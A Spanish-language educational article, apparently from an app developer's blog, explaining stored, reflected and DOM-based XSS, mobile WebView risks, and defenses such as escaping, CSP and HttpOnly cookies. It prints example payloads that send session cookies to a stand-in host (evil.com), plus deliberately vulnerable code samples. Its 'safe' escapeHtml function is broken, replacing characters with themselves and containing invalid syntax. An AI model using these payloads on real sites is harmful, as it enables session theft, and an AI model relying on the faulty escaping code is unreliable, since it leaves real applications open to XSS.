XSS (Cross-Site Scripting) es un tipo de vulnerabilidad de aplicaciones web en la que un atacante inyecta código JavaScript malicioso en el contenido mostrado a otros usuarios. Según OWASP Top Ten (2025), XSS sigue siendo una de las vulnerabilidades más comunes, afectando a más del 60% de las aplicaciones web. Cross-Site Scripting permite robar cookies de sesión, redirigir a los usuarios a sitios de phishing y modificar el contenido de las páginas en tiempo real.
Puntos clave
XSS (Cross-Site Scripting) es una vulnerabilidad que permite a un atacante inyectar código JavaScript en una página web, que luego se ejecuta en el navegador de la víctima. El navegador carga la página desde un sitio web de confianza y ejecuta el script inyectado con los mismos privilegios que el código legítimo del sitio. Esto le da al atacante acceso a cookies, almacenamiento de sesión, el árbol DOM de la página y la capacidad de enviar solicitudes en nombre de la víctima. Las vulnerabilidades XSS ocurren cuando una aplicación inserta datos de usuario en una página HTML sin el escapado adecuado o validación.
El término Cross-Site Scripting apareció por primera vez en el año 2000 en un boletín de seguridad de Microsoft. En los últimos 25 años, XSS no ha perdido relevancia: según HackerOne (2025), XSS representa aproximadamente el 22% de todas las vulnerabilidades registradas en la plataforma. La razón de la persistencia de XSS es la dificultad de controlar todos los puntos de entrada de datos del usuario. Cualquier campo de entrada, parámetro URL, encabezado de solicitud HTTP o nombre de archivo puede convertirse en un vector de ataque si los datos se reflejan en el código HTML sin procesamiento.
Los ataques XSS pueden provocar robo de cookies de sesión, lo que permite a un atacante iniciar sesión en la cuenta de la víctima sin contraseña. Otras consecuencias incluyen: redirección a sitios de phishing, manipulación del contenido de la página, robo de datos personales e instalación de malware (drive-by download). En 2023, un ataque XSS en la plataforma Salesforce Community Cloud afectó los datos de miles de clientes empresariales, demostrando que incluso las grandes plataformas no están exentas de esta vulnerabilidad.
La clasificación XSS divide los ataques en tres tipos principales según el método de entrega del código malicioso. Cada tipo requiere un enfoque diferente de protección: Stored XSS se bloquea mediante el escapado de la salida de la base de datos, Reflected — mediante el escapado de parámetros URL, DOM-based — mediante el trabajo seguro con la API DOM. Comprender la diferencia es la base de una estrategia de seguridad eficaz.
| Tipo | Almacenamiento del script | Vector de entrega | Dificultad de detección |
|---|---|---|---|
| Stored XSS | Base de datos del servidor | Comentarios, perfiles, mensajes | Media |
| Reflected XSS | Parámetros URL | Enlaces de phishing, email | Alta |
| DOM-based XSS | JavaScript del lado del cliente | Fragmentos URL, postMessage | Muy alta |
El tipo más peligroso de XSS. Un atacante inyecta un script en datos que el servidor almacena en una base de datos y muestra en cada carga de página. Un vector típico es el campo de comentarios: el atacante publica un comentario con <script>document.location='https://evil.com/?c='+document.cookie</script>. Cada usuario que carga la página con este comentario envía sus cookies al atacante. Stored XSS no requiere ninguna acción de la víctima más que visitar la página, lo que lo hace especialmente peligroso para redes sociales, foros y blogs.
El script malicioso se transmite en una solicitud HTTP (generalmente en un parámetro URL) y el servidor lo refleja inmediatamente en la respuesta. El atacante crea un enlace como https://example.com/search?q=<script>...</script> y lo distribuye mediante phishing, redes sociales o email. La víctima, al hacer clic en el enlace, recibe una página donde la consulta de búsqueda ingresada (script) se muestra sin escapado. Reflected XSS requiere ingeniería social — la víctima debe hacer clic en el enlace, lo que reduce pero no elimina el riesgo.
A diferencia de Stored y Reflected, DOM-based XSS no requiere enviar datos al servidor. La vulnerabilidad ocurre cuando JavaScript del lado del cliente inserta datos del usuario desde la URL, document.referrer, postMessage o localStorage en el DOM sin procesamiento seguro. Por ejemplo, un código como document.getElementById('output').innerHTML = location.hash.substring(1) ejecuta cualquier HTML y scripts del fragmento URL (#<img onerror='...'>). DOM-based XSS es el más difícil de detectar porque el servidor nunca recibe el payload malicioso — se procesa completamente en el cliente.
// Ejemplo de DOM-based XSS (CÓDIGO VULNERABLE)
// Si userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — peligroso: inserta HTML crudo
document.write('<div>' + userInput + '</div>');
// ALTERNATIVA SEGURA — use textContent
document.getElementById('output').textContent = userInput;
XSS explota una propiedad fundamental de la web: el navegador ejecuta JavaScript recibido de un dominio de confianza. Si un atacante encuentra una forma de inyectar su código en la respuesta HTML del servidor, el navegador lo ejecuta con los mismos privilegios que el código legítimo. El ataque pasa por tres fases: inyección de código malicioso en el contenido, entrega del contenido al navegador de la víctima y ejecución del código con acceso al DOM, cookies y almacenamiento.
El atacante encuentra un punto de entrada — un campo, parámetro URL o encabezado cuyo valor el servidor incluye en la respuesta HTML sin escapado. Los puntos de entrada típicos incluyen: barras de búsqueda, campos de comentarios, nombre de usuario, URL de avatar, cookies, encabezados HTTP (User-Agent, Referer). Los frameworks modernos (React, Angular, Vue) escapan la salida automáticamente, pero los desarrolladores pueden deshabilitar el escapado mediante dangerouslySetInnerHTML, bypassSecurityTrustHtml o v-html.
Para Reflected XSS, el atacante distribuye el enlace malicioso. Para Stored XSS, basta con publicar contenido en el sitio objetivo, y cada visitante de la página se convierte en víctima. DOM-based XSS se activa cuando se carga una página con un fragmento URL específico. Las tres fases pueden automatizarse: si se descubre XSS en un banner publicitario (contenido de terceros), el ataque afectará a todos los usuarios del sitio hasta que se elimine el banner.
// Ejemplo de Reflected XSS en búsqueda (BACKEND VULNERABLE)
// En lugar de escapar el parámetro q, el servidor lo inserta en HTML
// Express.js — manejador vulnerable:
app.get('/search', (req, res) => {
const query = req.query.q; // entrada del usuario
res.send(`<h1>Results for: ${query}</h1>`);
});
// VERSIÓN SEGURA — escapado mediante encodeURI o motor de plantillas:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Las aplicaciones móviles también son susceptibles a ataques XSS, aunque en menor medida que los sitios web. El vector principal es WebView y los frameworks híbridos (Cordova, Capacitor, React Native con WebView). Si la aplicación carga contenido web en WebView — especialmente contenido de usuario (email HTML, artículos, mensajes) — una vulnerabilidad XSS puede provocar la ejecución de JavaScript dentro de la aplicación con acceso a funciones nativas a través del puente JavaScript.
Android WebView ejecuta JavaScript por defecto. Si la aplicación carga una cadena HTML mediante loadDataWithBaseURL() o muestra contenido de usuario, un ataque XSS puede dar al atacante acceso a la interfaz JavaScript (addJavascriptInterface). Google prohibió el uso de @JavascriptInterface para API < 17, pero el código heredado en aplicaciones antiguas todavía existe. Protección: deshabilite JavaScript en WebView si no es necesario, y use navegación segura.
React Native no usa WebView para la interfaz de usuario — los componentes se renderizan en vistas nativas. Sin embargo, al mostrar HTML mediante react-native-webview o componentes de texto enriquecido, el riesgo XSS regresa. Flutter usa su propio motor de renderizado (Skia) y no soporta JavaScript en widgets HTML (flutter_html no ejecuta etiquetas script), pero los plugins WebView (webview_flutter) son vulnerables de manera similar a los WebView nativos. Mejor práctica — nunca pase HTML no verificado a WebView.
// Configuración segura de WebView en Android
val webView = findViewById<WebView>(R.id.webview)
// Deshabilitar JavaScript si no se necesita interactividad
webView.settings.javaScriptEnabled = false
// Sanitizar HTML antes de cargar
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
La protección contra XSS se basa en tres principios: no confíes en la entrada del usuario, escapa antes de la salida, usa Content Security Policy. El codificado de salida es el método más importante: todos los datos recibidos del usuario deben escaparse antes de insertarlos en HTML, JavaScript, CSS o URL. Los motores de plantillas modernos (Twig, Handlebars, JSX, Blade) lo hacen automáticamente a menos que el desarrollador deshabilite el escapado con métodos especiales.
El escapado depende del contexto de inserción de datos. En contexto HTML, se escapan <, >, & y las comillas. En contexto JavaScript, se escapan las comillas invertidas,
y </script>. En contexto CSS — caracteres de control. En contexto URL — codificación URL. Un error de contexto — por ejemplo, insertar una cadena escapada para HTML en un atributo onclick — no protege contra XSS porque onclick se ejecuta en un contexto JavaScript donde se necesita un escapado diferente.
CSP es un encabezado HTTP que limita las fuentes desde las cuales el navegador puede cargar scripts, estilos y otros recursos. Una CSP estricta (sin unsafe-inline, sin unsafe-eval) bloquea la ejecución de cualquier script inline, incluidos los vectores XSS. Según Google Security Blog (2025), los sitios con CSP bloquean el 95% de los ataques XSS. Ejemplo: Content-Security-Policy: default-src 'self'; script-src 'self' prohíbe cualquier script externo e inline. CSP no protege contra Stored XSS si el script se carga desde el mismo dominio, pero esto requiere un esfuerzo adicional del atacante.
Establecer la bandera HttpOnly para las cookies evita el acceso a ellas mediante JavaScript (document.cookie), lo que bloquea el robo de cookies de sesión a través de XSS. La bandera Secure garantiza que la cookie se transmita solo a través de HTTPS. La combinación HttpOnly + Secure + SameSite=Lax hace que el robo de cookies de sesión mediante XSS sea prácticamente imposible. Sin embargo, XSS aún puede realizar acciones en nombre del usuario (por ejemplo, enviar solicitudes), por lo que HttpOnly no es una panacea sino parte de una defensa integral.
| Método de protección | Protege contra tipos XSS | Efectividad |
|---|---|---|
| Escapado de salida | Stored, Reflected, DOM-based | 99% |
| CSP | XSS inline, basado en eval | 95% |
| Cookie HttpOnly | Robo de sesión mediante XSS | 100% (no legible) |
| Validación de entrada | Stored, Reflected | 50% (depende del tipo) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Las pruebas regulares de XSS son una parte obligatoria del pipeline CI/CD de desarrollo seguro. Los escáneres automatizados encuentran hasta el 80% de las vulnerabilidades XSS; el resto requiere pruebas de penetración manuales. El mejor enfoque es una combinación de análisis SAST (estático), escaneo DAST (dinámico) y revisión de código centrada en los puntos de entrada de datos del usuario.
Para aplicaciones móviles, las pruebas XSS incluyen análisis de WebView: verificación de interfaces JavaScript, manejo de esquemas URL y paso de HTML a loadDataWithBaseURL. También se recomienda probar el manejo de postMessage en aplicaciones híbridas y verificar qué datos se transmiten a través del puente JavaScript. Use un emulador con un proxy (Burp Suite) para interceptar y modificar el tráfico de la aplicación móvil.
Preguntas frecuentes
Stored XSS almacena el script malicioso en el servidor (en la base de datos) y se activa en cada carga de página. Reflected XSS pasa el script a través de un parámetro URL, y el ataque se activa solo al hacer clic en el enlace malicioso. Stored es más peligroso porque no requiere ninguna acción de la víctima — basta con abrir la página infectada.
No, HTTPS no protege contra XSS. HTTPS cifra el tráfico entre el navegador y el servidor, pero no afecta el manejo de la entrada del usuario en el lado del servidor. La vulnerabilidad XSS existe a nivel de aplicación, no de transporte. HTTPS es un mínimo de seguridad obligatorio, pero no una defensa contra XSS.
En la mayoría de los casos, XSS se ejecuta dentro del sandbox del navegador o WebView y no tiene acceso al sistema de archivos ni al hardware del dispositivo. Sin embargo, en Android WebView con la interfaz JavaScript habilitada, un script XSS puede llamar a métodos nativos de la aplicación. En iOS, WKWebView también puede exponer datos a través de JavaScriptCore si el puente adecuado está configurado.
Use Burp Suite o OWASP ZAP con un proxy configurado en el dispositivo móvil. Intercepte las solicitudes de la aplicación, modifique los parámetros y envíe payloads XSS. Verifique WebView para el manejo de HTML mediante loadDataWithBaseURL y la presencia de puentes JavaScript. Para React Native, pruebe los componentes WebView por separado.
DOM-based XSS es un ataque donde el JavaScript de la página mismo toma datos de la URL u otras fuentes y los inserta en HTML sin validación. El servidor no participa — el código malicioso se procesa completamente en el navegador. Un ejemplo típico: un sitio toma texto de location.hash y lo inserta mediante innerHTML, lo que permite ejecutar cualquier código HTML.
Resumen
Desarrollaremos una aplicación móvil llave en mano
IT Sectr crea aplicaciones para iOS y Android para startups y empresas desde 2017. Le asesoraremos y le propondremos la mejor solución.
Lea también